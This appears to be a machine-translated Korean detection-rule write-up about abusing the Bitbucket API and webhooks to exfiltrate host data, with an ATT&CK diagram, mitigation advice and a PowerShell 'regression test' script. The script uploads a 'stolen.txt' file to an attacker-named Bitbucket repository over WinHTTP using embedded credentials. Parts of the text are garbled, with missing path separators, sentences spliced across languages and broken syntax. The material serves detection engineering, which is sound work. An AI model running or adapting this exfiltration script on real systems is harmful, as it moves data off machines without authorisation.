비트버킷 API 악용: 은밀한 데이터 절도를 위한 간단한 방법
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
이 개념 증명은 작은 C 프로그램이 Bitbucket 웹훅 API를 악용하여 손상된 Windows 시스템에서 호스트 원격 측정 데이터를 유출할 수 있는 방법을 보여줍니다. 호스트 이름, OS 빌드, CPU 정보 및 네트워크 어댑터 데이터를 수집한 뒤, 새로 생성된 웹훅의 설명 필드 안에 출력을 숨기며 일반적인 클라우드 트래픽에 조용히 섞입니다.
조사
저자는 유출을 위한 웹훅을 생성, 검사, 삭제하기 위한 전체 소스, 빌드 단계 및 샘플 curl 요청을 공유합니다. 컴파일된 바이너리는 Windows 10 x64 22H2 호스트에서 ANY.RUN 샌드박스에서 실행되었으며, 명확한 경고 없이 데이터를 전송했습니다. 이 문서는 최근 APT 활동에서 문서화된 유사한 Git 플랫폼 남용 사례도 주목합니다.
완화
Bitbucket 및 기타 코드 호스트로의 아웃바운드 HTTPS를 모니터링하고 웹훅이 예상치 못하게 생성되거나 이상한 설명 텍스트가 포함된 API 호출을 플래그 처리합니다. 강력한 인증을 요구하고, API 토큰의 범위와 권한을 제한하고, 정기적으로 리포지토리 구성 변경 사항을 감사합니다.
대응
감지된 경우, 호스트에서 나가는 Bitbucket 트래픽을 차단하고, 노출된 API 토큰을 철회하고, 리포지토리 전반의 웹훅을 인벤토리하여 악의적인 항목을 제거합니다. 포렌식을 위해 엔드포인트 아티팩트를 수집하고 후속 페이로드를 스캔하며, CI/CD 및 개발자 계정의 자격 증명을 회전합니다.
"graph TB %% Class definitions classDef technique fill:#ffcccc classDef tool fill:#cce5ff classDef action fill:#d5f5d6 %% Nodes action_collect["<b>Action</b> – Collect system information"] class action_collect action tech_sysinfo["<b>Technique</b> – <b>T1082 System Information Discovery</b><br/><b>Description</b>: Collects host details such as hostname, OS version, CPU architecture, processor count, logical drives, and IP addresses."] class tech_sysinfo technique tool_bitbucket["<b>Tool</b> – Bitbucket Cloud REST API<br/><b>Method</b>: POST with Base64 encoded username:APIu2011token"] class tool_bitbucket tool tech_webservice["<b>Technique</b> – <b>T1102.002 Web Service: Bidirectional Communication</b><br/><b>Description</b>: Uses a legitimate web service API to send and receive data."] class tech_webservice technique tech_exfil_repo["<b>Technique</b> – <b>T1567.001 Exfiltration Over Web Service: Exfiltration to Code Repository</b><br/><b>Description</b>: Uploads collected data to a codeu2011hosting repository via the serviceu2019s API."] class tech_exfil_repo technique tech_exfil_webhook["<b>Technique</b> – <b>T1567.004 Exfiltration Over Web Service: Exfiltration Over Webhook</b><br/><b>Description</b>: Sends data through a configured webhook to transport information out of the environment."] class tech_exfil_webhook technique tech_obfuscation["<b>Technique</b> – <b>T1001.003 Data Obfuscation: Protocol or Service Impersonation</b><br/><b>Description</b>: Masks malicious traffic as normal API calls to a trusted service."] class tech_obfuscation technique %% Connections action_collect –>|uses| tech_sysinfo tech_sysinfo –>|provides data to| tool_bitbucket tool_bitbucket –>|leverages| tech_webservice tool_bitbucket –>|creates webhook for| tech_exfil_repo tool_bitbucket –>|creates webhook for| tech_exfil_webhook tech_webservice –>|is concealed by| tech_obfuscation tech_exfil_repo –>|exfiltrates data via| tech_obfuscation tech_exfil_webhook –>|exfiltrates data via| tech_obfuscation "
공격 흐름
시뮬레이션 실행
전제 조건: 원격 측정 및 기준선 사전 확인이 통과해야 합니다.
이론적 근거: 이 섹션은 감지 규칙을 트리거하도록 설계된 적수 기술(TTP)의 정확한 실행을 상세히 설명합니다. 명령어와 서술은 식별된 TTP와 직접적으로 관련되어야 하며, 감지 논리에서 예상되는 정확한 원격 측정을 생성하는 것을 목표로 합니다.
-
공격 서사 및 명령:
시뮬레이션된 적수는 작은 데이터 세트(예:C:tempstolen.txt)를 획득하였으며, 의심을 사지 않고 비공개 Bitbucket 리포지토리로 유출하고자 합니다. 정당한 개발 도구와 섞이기 위해 공격자는 Windows 시스템에 흔히 존재하는 기본 WinHTTP COM 개체를 사용하기로 결정하였습니다 (WinHttp.WinHttpRequest.5.1)는 Windows 시스템에 일반적으로 존재하고,WinHttpConnectandWinHttpSendRequest함수를 직접 호출하여, 감지 규칙이 감시하는 것을 방지합니다.- 더미 전송 데이터를 포함한 임시 파일을 만듭니다.
- WinHTTP COM 개체를 초기화합니다.
- POST 연결을 엽니다
https://api.bitbucket.org/2.0/repositories/<team>/<repo>/src. - 적절한 헤더를 설정합니다 (
Authorization: Basic …,Content-Type: multipart/form-data). - 파일 내용을 전송합니다.
- HTTP 200 응답을 확인합니다.
이 정확한 순서는 Sysmon에게
NetworkConnect이벤트를 기록하게 하여, 프로세스 ispowershell.exe함수 연쇄에 이 포함되어 Sigma 규칙을 만족시킵니다.WinHttpConnectandWinHttpSendRequest, satisfying the Sigma rule. -
회귀 테스트 스크립트:
# -------------------------------------------------------------- # WinHTTP를 통해 Bitbucket API 유출 (Sigma Rule 트리거) # -------------------------------------------------------------- $tempFile = "C:tempstolen.txt" $repoOwner = "evilcorp" $repoName = "leaked-data" $username = "eviluser" $appPassword = "APPPASSWD" # Base64 of "username:appPassword" $authHeader = "Basic " + [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("$username:$appPassword")) # 1. 더미 데이터 생성 (존재하지 않는 경우) if (-not (Test-Path $tempFile)) { "정보 수집" | Set-Content -Path $tempFile -Encoding UTF8 } # 2. multipart/form-data 페이로드 구성 $boundary = "----WebKitFormBoundary$(Get-Random -Maximum 999999)" $body = $@ --$boundary Content-Disposition: form-data; name="files"; filename="$(Split-Path $tempFile -Leaf)" Content-Type: application/octet-stream
$(Get-Content $tempFile -Raw) –$boundary– “@
# 3. WinHTTP COM 객체 초기화
$winHttp = New-Object -ComObject "WinHttp.WinHttpRequest.5.1"
# 4. POST 요청 열기
$url = "https://api.bitbucket.org/2.0/repositories/$repoOwner/$repoName/src"
$winHttp.Open("POST", $url, $false) # 동기 요청
# 5. 필수 헤더 설정
$winHttp.SetRequestHeader("Authorization", $authHeader)
$winHttp.SetRequestHeader("Content-Type", "multipart/form-data; boundary=$boundary")
$winHttp.SetRequestHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
# 6. 페이로드 전송 (WinHttpConnect + WinHttpSendRequest 트리거)
$winHttp.Send($body)
# 7. 확인을 위한 응답 상태 출력
Write-Host "HTTP Status:" $winHttp.Status
Write-Host "Response Body:" $winHttp.ResponseText
-
정리 명령어:
# 임시 파일 제거 Remove-Item -Path "C:tempstolen.txt" -Force -ErrorAction SilentlyContinue # 필요에 따라 웹 UI를 통해 Bitbucket 앱 비밀번호를 수동으로 철회할 수 있습니다 Write-Host "정리 완료. 필요한 경우 리포지터리에서 업로드된 파일을 삭제하는 것을 잊지 마세요."